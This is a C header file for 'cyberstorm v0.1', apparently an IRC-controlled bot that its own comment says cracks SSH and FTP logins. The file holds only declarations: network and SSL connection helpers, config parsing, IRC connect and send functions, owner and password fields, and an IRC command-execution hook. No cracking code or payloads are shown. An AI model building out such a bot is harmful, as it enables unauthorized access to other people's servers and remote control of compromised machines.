// cyberstorm v0.1 - by X-N2O
// Sun 29 Nov 2009, 15:42:30
// proper IRC bot that cracks SSH, FTP and whatnot

#ifndef __includes_h
#define __includes_h

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdbool.h>

#include <sys/socket.h>
#include <netdb.h>

#include <openssl/crypto.h>
#include <openssl/ssl.h>

#define CS_LIM 8192
#define fail(b, v, c) { b = v; goto c; }

// str.c
int strccmp(const char **arr, const char *cmp);
bool args(char *str, int *argc, char ***argv);

// net.c
typedef struct _net_ctx {
	char *host;
	unsigned short port;
	int sock;
	// 0000 0000 0000 0000 0000 0000 0000 000S
	// S: uses SSL if set
	SSL_CTX *ssl_ctx;
	SSL *ssl;
	unsigned long flags;
} net_ctx_t;

enum NET_FLAGS {
	NET_SSL = 1,
};

// config.c
#define DEFCFG_FILE "/.cyberstormrc"

bool contcp_connect(net_ctx_t *ctx);
void contcp_close(net_ctx_t *ctx);
int nsend(net_ctx_t *ctx, char *buf, int len);
int nrecv(net_ctx_t *ctx, char *buf, int len);

typedef struct _config {
	char *option;
	char *value;
	struct _config *next;
} config_t;

typedef struct _irc_cfg {
	char *host;
	unsigned short port;
	char *nick;
	char *channel;
	char *ownernick;
	char *authpasswd;
	char **authlist;
	config_t *head;
	net_ctx_t net_ctx;
} irc_cfg_t;

bool cs_load_config(char *cfgfile, irc_cfg_t *icfg);
bool cs_save_config(char *cfgfile, irc_cfg_t *icfg);
char *cfg_value(config_t *head, char *option);
bool cfg_positive(config_t *head, char *option);
bool parse_cfg(char *cfgfile, config_t **head);
void free_cfg(config_t *head);

// irc.c
bool irc_connect(irc_cfg_t *icfg);
bool irc_join_part(irc_cfg_t *icfg, char *channel, bool join);
char *irc_fetchln(irc_cfg_t *icfg, char *lin, size_t lin_len);
bool irc_send(irc_cfg_t *icfg, char *dst, char *msg);
char *irc_retr_sender(irc_cfg_t *icfg, char *buf);
bool irc_cmd(irc_cfg_t *icfg, char *buf);
bool irc_proc(irc_cfg_t *icfg);
void irc_drop(irc_cfg_t *icfg, char *qmesg);

// irc_exec.c

bool irc_exec(irc_cfg_t *icfg, char *sender, char *cmd);

#endif // __includes_h
